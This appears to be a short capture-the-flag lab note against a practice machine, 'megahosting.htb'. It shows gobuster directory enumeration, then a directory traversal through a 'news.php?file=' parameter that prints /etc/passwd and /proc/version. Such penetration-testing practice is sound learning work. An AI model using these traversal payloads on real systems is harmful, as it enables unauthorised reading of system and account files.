2 :80

$ gobuster dir -u http://10.10.10.194 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 100
===============================================================
2021/06/16 14:34:13 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 14175]
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.194/assets/]
/news.php             (Status: 200) [Size: 0]
/Readme.txt           (Status: 200) [Size: 1574]

http://megahosting.htb
Adding to hosts file

Searched alot, nothing in scans.

http://megahosting.htb/news.php?file=statement
Can try directory traversal

http://megahosting.htb/news.php?file=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
[truncated]
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
tomcat:x:997:997::/opt/tomcat:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash


view-source:http://megahosting.htb/news.php?file=../../../../proc/version
Linux version 5.4.0-31-generic (buildd@lgw01-amd64-059) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #35-Ubuntu SMP Thu May 7 20:20:34 UTC 2020